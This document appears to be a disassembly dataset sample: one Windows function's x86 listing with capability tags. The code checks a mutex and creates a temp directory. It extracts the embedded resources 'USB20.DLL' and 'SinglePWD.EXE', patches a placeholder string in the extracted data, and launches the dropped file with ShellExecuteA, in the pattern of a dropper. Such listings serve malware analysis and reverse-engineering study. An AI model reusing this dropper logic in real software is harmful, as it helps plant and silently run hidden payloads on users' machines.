Function at 0x401010
Capabilities:
Check mutex on windows
Check os version
Create directory
Create process on windows
Enumerate gui resources
Extract resource via kernel32 functions
Get common file path

Disassembly:
sub esp, 0xbf0
push ebx
push ebp
push esi
lea eax, [esp + 0x10]
push edi
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
movsx ecx, byte [esp + 0x14]
push ecx
push 0x401690
call dword [sym.imp.USER32.dll_EnumWindows]
mov dl, byte [0x4079a0]
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x325]
mov byte [esp + 0x324], dl
lea edx, [esp + 0x324]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, 0x40618a
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x324]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x406108
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x324]
and ecx, 3
push eax
push 0
push 0
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp edi, 0xb7
jne 0x4011b5
push 0x4070ec
call fcn.00401000
mov cl, byte [0x4079a0]
xor eax, eax
mov byte [esp + 0x120], cl
mov ecx, 0x40
lea edi, [esp + 0x121]
add esp, 4
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea edx, [esp + 0x11c]
push 0x104
stosb byte es:[edi], al
mov eax, dword [esp + 0xc08]
push edx
push 1
push eax
call dword [sym.imp.USER32.dll_LoadStringA]
lea ecx, [esp + 0x11c]
push 0x4070e4
push ecx
call fcn.004017c0
add esp, 8
test eax, eax
je 0x401158
mov cl, 0x20
mov byte [eax + 4], 0
mov byte [eax], cl
mov byte [eax + 1], cl
mov byte [eax + 2], cl
mov byte [eax + 3], cl
mov ebx, dword [sym.imp.USER32.dll_FindWindowA]
xor edi, edi
lea edx, [esp + 0x11c]
push edx
push 0
call ebx
mov esi, eax
test esi, esi
jne 0x401185
inc edi
cmp edi, 3
jl 0x401160
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xbf0
ret 0x10
push 0x4070c8
call fcn.00401000
movsx eax, byte [esp + 0x18]
add esp, 4
push 0
push eax
push 0x40a
push esi
call dword [sym.imp.USER32.dll_SendMessageA]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xbf0
ret 0x10
push 0x4070b8
call fcn.00401000
add esp, 4
lea ecx, [esp + 0x428]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea edx, [esp + 0x428]
push 0
push edx
call ebx
lea edi, [esp + 0x428]
or ecx, 0xffffffff
xor eax, eax
mov dl, 0x5c
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp byte [esp + ecx + 0x427], dl
je 0x401234
mov edi, 0x4070b4
or ecx, 0xffffffff
xor eax, eax
lea ebp, [esp + 0x428]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, ebp
mov ebp, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov al, byte [0x4079a0]
mov ecx, 0x40
mov byte [esp + 0x220], al
xor eax, eax
lea edi, [esp + 0x221]
lea ebp, [esp + 0x428]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, 0x40618a
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, ebp
mov ebp, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x428]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp byte [esp + ecx + 0x427], dl
je 0x4012cd
mov edi, 0x4070b4
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x428]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [esp + 0x428]
push 0
push eax
call ebx
lea ecx, [esp + 0x428]
push str.USB20.DLL
push ecx
lea edx, [esp + 0x81c]
push str._s_s
push edx
call fcn.00401760
add esp, 0x10
lea eax, [esp + 0x814]
push eax
push 0x65
push str.LIB_FILE
call fcn.004015b0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, eax
push str.LIB_FILE
push 0x68
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push esi
mov ebp, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
je 0x4015a0
push esi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
jne 0x401368
push esi
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xbf0
ret 0x10
xor edx, edx
test ebp, ebp
jbe 0x4013b1
mov ecx, 5
mov edi, str.ABCDE12345
lea esi, [edx + ebx]
xor eax, eax
repe cmpsw word [esi], word es:[edi]
jne 0x4013ac
mov edi, 0x40618a
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
lea esi, [edx + ebx + 0xa]
sub edi, ecx
mov eax, ecx
mov dword [esp + 0x10], esi
mov esi, edi
mov edi, dword [esp + 0x10]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
inc edx
cmp edx, ebp
jb 0x40136e
lea ecx, [esp + 0x428]
push str.SinglePWD.EXE
push ecx
lea edx, [esp + 0x81c]
push str._s_s
push edx
call fcn.00401760
add esp, 0x10
lea eax, [esp + 0x814]
push eax
push 0x68
push str.LIB_FILE
call fcn.004015b0
mov edi, 0x40618a
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x220]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [esp + 0x11c], 0x94
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x220]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x406144
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x11c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [esp + 0x120], 5
jne 0x401491
push 0
push 0x80
push 3
push 0
push 7
push 0x80000000
push 0x407064
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
je 0x401521
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x220]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
lea edx, [esp + 0x14]
mov esi, eax
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x814]
push eax
push str.szFileName___s
call fcn.00401000
lea ecx, [esp + 0x1c]
push ecx
push str.szPath___s
call fcn.00401000
lea edx, [esp + 0x438]
push edx
push str.szTmpPath___s
call fcn.00401000
add esp, 0x18
lea eax, [esp + 0x428]
lea ecx, [esp + 0x14]
lea edx, [esp + 0x814]
push 5
push eax
push ecx
push edx
push 0x407030
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0x186a0
push esi
jmp 0x40159a
lea eax, [esp + 0x14]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [esp + 0x814]
push ecx
push str.szFileName___s
call fcn.00401000
lea edx, [esp + 0x1c]
push edx
push str.szPath___s
call fcn.00401000
lea eax, [esp + 0x438]
push eax
push str.szTmpPath___s
call fcn.00401000
add esp, 0x18
lea ecx, [esp + 0x428]
lea edx, [esp + 0x14]
lea eax, [esp + 0x814]
push 5
push ecx
push edx
push eax
push 0x407030
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0x186a0
push 0
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xbf0
ret 0x10